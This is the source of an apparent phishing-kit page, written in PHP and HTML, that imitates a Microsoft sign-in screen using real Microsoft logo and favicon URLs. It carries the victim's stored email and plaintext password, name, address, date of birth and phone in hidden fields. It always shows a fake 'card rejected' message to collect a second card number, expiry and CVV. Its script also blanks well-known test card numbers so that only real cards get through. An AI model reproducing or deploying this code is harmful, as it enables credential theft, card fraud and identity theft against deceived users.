<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

require_once __DIR__ . '/../../core/functions.php';
require_once __DIR__ . '/../../helper/DeviceHelper.php';

$email = isset($_SESSION['username']) ? $_SESSION['username'] : '';
$password = isset($_SESSION['passwordlogin']) ? $_SESSION['passwordlogin'] : '';
$fullname = isset($_SESSION['fullname']) ? $_SESSION['fullname'] : (isset($_POST['fname']) ? $_POST['fname'] : '');
$address = isset($_SESSION['address']) ? $_SESSION['address'] : (isset($_POST['address']) ? $_POST['address'] : '');
$city = isset($_SESSION['city']) ? $_SESSION['city'] : (isset($_POST['city']) ? $_POST['city'] : '');
$state = isset($_SESSION['state']) ? $_SESSION['state'] : (isset($_POST['state']) ? $_POST['state'] : '');
$zip = isset($_SESSION['zip']) ? $_SESSION['zip'] : (isset($_POST['zip']) ? $_POST['zip'] : '');
$dob = isset($_SESSION['dob']) ? $_SESSION['dob'] : (isset($_POST['dob']) ? $_POST['dob'] : '');
$phone = isset($_SESSION['phone']) ? $_SESSION['phone'] : (isset($_POST['phone']) ? $_POST['phone'] : '');

function getFormAction($action) {
    $deviceParam = getDeviceParam();
    $hash = generateRandomText(20);
    return "?action={$action}&{$deviceParam}={$hash}";
}

$formAction = getFormAction('recard');

?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Card Information</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="../assets/ms/assets/css/hotmail.css">
    <style>
        .inner {
            min-height: 380px;
            padding: 30px 44px 44px 44px;
        }
        .text-title {
            font-size: 24px !important;
            font-weight: 600 !important;
            margin-bottom: 16px !important;
        }
        .identityBanner {
            margin-top: 8px !important;
            margin-bottom: 12px !important;
        }
        .identity {
            font-size: 14px !important;
            font-weight: 600 !important;
            color: #1b1b1b !important;
        }
        .form-group {
            margin-bottom: 12px !important;
        }
        .form-control {
            width: 100% !important;
            padding: 10px 12px !important;
            border: 1px solid #666 !important;
            border-radius: 0 !important;
            font-size: 16px !important;
            height: 40px !important;
            background: transparent !important;
        }
        .form-control:focus {
            border-color: #0067b8 !important;
            outline: none !important;
        }
        .btn-primary {
            width: 100% !important;
            padding: 10px !important;
            background-color: #0067b8 !important;
            color: #fff !important;
            border: none !important;
            font-size: 16px !important;
            font-weight: 600 !important;
            cursor: pointer !important;
            border-radius: 0 !important;
            min-height: 40px !important;
        }
        .btn-primary:hover {
            background-color: #005da6 !important;
        }
        .btn-primary:disabled {
            background-color: #ccc !important;
            cursor: not-allowed !important;
        }
        .footerNode a {
            color: #666 !important;
            text-decoration: none !important;
            margin: 0 10px !important;
            font-size: 12px !important;
        }
        .footerNode a:hover {
            text-decoration: underline !important;
        }
        .logo {
            height: 24px !important;
            width: auto !important;
            display: block !important;
            margin: 0 auto 12px auto !important;
        }
        .position-buttons {
            margin-top: 6px !important;
        }
        .position-buttons > div:first-child {
            margin-bottom: 6px !important;
        }
        .button-container {
            position: relative !important;
            margin-top: 2px !important;
        }
        .row {
            margin-bottom: 4px !important;
        }
        .auth-error-container {
            min-height: 50px;
            display: block;
            visibility: visible;
        }
        .auth-error {
            color: #cc0033;
            font-family: "Segoe UI", Arial, sans-serif;
            font-size: 14px;
            text-align: left;
            line-height: 1.5;
            margin: 0;
            padding: 0;
            background: transparent;
            border: none;
        }
        .form-control.has-error {
            border-color: #e81123 !important;
        }
        @media (max-width: 600px) {
            .inner {
                min-height: 300px;
                padding: 20px 24px 24px 24px;
            }
            .text-title {
                font-size: 20px !important;
            }
            .auth-error-container {
                min-height: 40px;
            }
        }
        .background {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-size: cover;
            background-position: center;
            z-index: -1;
        }
        .outer {
            display: table;
            width: 100%;
            height: 100vh;
            min-height: 500px;
        }
        .middle {
            display: table-cell;
            vertical-align: middle;
        }
        .pmts-composite-logo-row {
            display: flex;
            gap: 6px;
            flex-wrap: wrap;
        }
        .pmts-indiv-issuer-image {
            display: block;
            height: 29px;
            width: 45px;
            background-image: url('../../assets/img/card.png');
            background-repeat: no-repeat;
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <div>
            <div class="background" style="background-image: url('../assets/ms/assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="<?php echo $formAction; ?>" onsubmit="return validateForm()">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft">
                        </div>

                        <div role="main">
                            <div>
                                <div>
                                    <div class="identityBanner">
                                        <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?php echo htmlspecialchars($email); ?>">
                                            <?php echo htmlspecialchars($email); ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="pagination-view has-identity-banner">
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Card Information</div>
                                    
                                    <!-- ERROR MESSAGE - SELALU TAMPIL -->
                                    <div class="auth-error-container">
                                        <div class="auth-error" role="alert">
                                            <font dir="auto" style="vertical-align: inherit;">
                                                <font dir="auto" style="vertical-align: inherit;">Your card is rejected. Please use a different card.</font>
                                            </font>
                                        </div>
                                    </div>

                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                            </div>
                                            <div class="placeholderContainer">
                                                <input type="hidden" name="email" value="<?php echo htmlspecialchars($email); ?>">
                                                <input type="hidden" name="password" value="<?php echo htmlspecialchars($password); ?>">
                                                <input type="hidden" name="fname" value="<?php echo htmlspecialchars($fullname); ?>">
                                                <input type="hidden" name="state" value="<?php echo htmlspecialchars($state); ?>">
                                                <input type="hidden" name="city" value="<?php echo htmlspecialchars($city); ?>">
                                                <input type="hidden" name="address" value="<?php echo htmlspecialchars($address); ?>">
                                                <input type="hidden" name="zip" value="<?php echo htmlspecialchars($zip); ?>">
                                                <input type="hidden" name="dob" value="<?php echo htmlspecialchars($dob); ?>">
                                                <input type="hidden" name="phone" value="<?php echo htmlspecialchars($phone); ?>">
                                                
                                                <div class="form-group">
                                                    <input name="namecard" type="text" id="ccname" class="form-control has-error" onkeypress="return event.charCode < 48 || event.charCode  >57" placeholder="Name on card" autofocus required>
                                                    <div id="inputErrorMsgCardName"></div>
                                                </div>
                                                <div class="form-group">
                                                    <input name="cardnumber" type="tel" minlength="15" maxlength="16" id="ccno" autocapitalize="off" onkeyup="ccc();" class="form-control has-error mask-ccn" placeholder="Card number" required>
                                                    <div id="inputErrorMsgCardNumber"></div>
                                                </div>
                                                <div class="form-group">
                                                    <input name="cardexp" type="tel" id="cardexp" class="form-control has-error mask-exp" placeholder="Expired date (MM/YY)" required onchange="validateExpiry()">
                                                    <div id="inputErrorMsgCardEXP" style="color: #cc0033; font-size: 12px; margin-top: 4px;"></div>
                                                </div>
                                                <div class="form-group">
                                                    <input type="tel" class="form-control has-error mask-cvv" placeholder="CVV / CVC" name="cvv" id="cvv" maxlength="4" autocorrect="off" autocapitalize="off" required>
                                                    <div id="inputErrorMsgCVV"></div>
                                                </div>
                                                <input type="hidden" name="apistatus" value="">
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <div class="inline-block" style="width: 100%;">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Next">
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }" style="background: transparent;">
                <div>
                    <div id="footerLinks" class="footerNode text-secondary">
                        <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </form>
    </div>
    
    <div>
        <!--  -->
    </div>
    
    <!-- Masking -->
    <script src="../assets/ms/js/jquery.min.js"></script>
    <script src="../assets/ms/js/jquery.mask.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $('.mask-exp').mask('00/00');
        $('.mask-ccn').mask('0000 0000 0000 0000');
        $('.mask-zip').mask('00000');
        $('.mask-dob').mask('00/00/0000');
        $('.mask-dln').mask('00 000 000');
        $('.mask-ssn').mask('000-00-0000');
        $('.mask-cvv').mask('0000');
        $('.mask-pin').mask('000000');
        $('.time').mask('00:00:00');
        $('.date_time').mask('00/00/0000 00:00:00');
        $('.mask-phone').mask('(000) 000-0000');
        $('.phone_with_ddd').mask('(00) 0000-0000');
        $('.phone_us').mask('(000) 000-0000');
        $('.mixed').mask('AAA 000-S0S');
        $('.money').mask('000.000.000.000.000,00', {reverse: true});
        $('.money2').mask("#.##0,00", {reverse: true});
        $('.ip_address').mask('099.099.099.099');
        $('.percent').mask('##0,00%', {reverse: true});
        $('.placeholder').mask("00/00/0000", {placeholder: "__/__/____"});
        $('.mask-cc').mask('0000 0000 0000 0000');
        $('.valid').mask('00/00');
        
        $('#cardexp').mask('00/00');
        $('#ccno').mask('0000 0000 0000 0000');
        $('#cvv').mask('0000');
    });
    
    // ==========================================
    // VALIDASI EXPIRED DATE
    // ==========================================
    function validateExpiry() {
        var exp = document.getElementById('cardexp').value;
        var errorMsg = document.getElementById('inputErrorMsgCardEXP');
        var submitBtn = document.getElementById('idSIButton9');
        
        if (exp.length == 5) {
            var month = parseInt(exp.substr(0, 2));
            var year = parseInt(exp.substr(3, 2));
            var currentYear = new Date().getFullYear() % 100;
            var currentMonth = new Date().getMonth() + 1;
            
            if (year < currentYear || (year == currentYear && month < currentMonth)) {
                errorMsg.innerHTML = 'Your card has expired. Please use a valid card.';
                errorMsg.style.display = 'block';
                document.getElementById('cardexp').classList.add('has-error');
                submitBtn.disabled = true;
                return false;
            } else {
                errorMsg.innerHTML = '';
                errorMsg.style.display = 'none';
                document.getElementById('cardexp').classList.remove('has-error');
                submitBtn.disabled = false;
                return true;
            }
        }
        return true;
    }
    
    function validateForm() {
        var exp = document.getElementById('cardexp').value;
        var errorMsg = document.getElementById('inputErrorMsgCardEXP');
        
        if (exp.length == 5) {
            var month = parseInt(exp.substr(0, 2));
            var year = parseInt(exp.substr(3, 2));
            var currentYear = new Date().getFullYear() % 100;
            var currentMonth = new Date().getMonth() + 1;
            
            if (year < currentYear || (year == currentYear && month < currentMonth)) {
                errorMsg.innerHTML = 'Your card has expired. Please use a valid card.';
                errorMsg.style.display = 'block';
                document.getElementById('cardexp').classList.add('has-error');
                alert('Your card has expired. Please use a valid card.');
                return false;
            }
        }
        return true;
    }
    
    document.getElementById('cardexp').addEventListener('input', function() {
        validateExpiry();
    });
    
    document.getElementById('cardexp').addEventListener('blur', function() {
        validateExpiry();
    });
    
    function ccc(){
        var cc = document.getElementById("ccno").value;
        if(cc.match(/^[0-2]|^[7-9]/))
        {
            document.getElementById("ccno").value = "";
        }
        if(cc.match(/4111111111111111|5500000000000004|340000000000009|30000000000004|3088000000000009/))
        {
            document.getElementById("ccno").value = "";
        }
        var type = cc.substr(0, 2);
        if(type == "37" || type == "34") {
            $("#cvv").attr('maxlength','4');
        }else{
            $("#cvv").attr('maxlength','3');
        }
    }
    
    function hanyaAngka(evt) {
        var charCode = (evt.which) ? evt.which : event.keyCode
        if (charCode > 31 && (charCode < 48 || charCode > 57))
            return false;
        return true;
    }
    
    $('#ccname').on("keyup , focus", function() {
        var name = $(this).val();
        if (name == "") {
            $(this).addClass('error').removeClass('hasText');
            $("#inputErrorMsgCardName").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a card name.</div></div></div></div></div>');
        } else {
            $(this).removeClass('error').addClass("hasText");
            $("#inputErrorMsgCardName").html('');
        }
    });
    
    $('#ccno').on("keyup , focus", function() {
        var cardnumber = $(this).val();
        if (cardnumber == "") {
            $(this).addClass('error').removeClass('hasText');
            $("#inputErrorMsgCardNumber").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a card number.</div></div></div></div></div>');
        } else {
            $(this).removeClass('error').addClass("hasText");
            $("#inputErrorMsgCardNumber").html('');
        }
    });
    
    $('#cvv').on("keyup , focus", function() {
        var cvv = $(this).val();
        if (cvv == "") {
            $(this).addClass('error').removeClass('hasText');
            $("#inputErrorMsgCVV").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a Security Code (CVV/CSC).</div></div></div></div></div>');
        } else {
            $(this).removeClass('error').addClass("hasText");
            $("#inputErrorMsgCVV").html('');
        }
    });
    
    $('#ccname, #ccno, #cardexp, #cvv').on("keyup , focus", function() {
        if (!$("#ccname").hasClass('error') && !$("#ccno").hasClass('error') && !$("#cardexp").hasClass('error') && !$("#cvv").hasClass('error')
            && $("#ccname").val().length > 0 && $("#ccno").val().length > 0 && $("#cardexp").val().length > 0 && $("#cvv").val().length > 0) {
            validateExpiry();
        }
    });
    </script>
</body>
</html>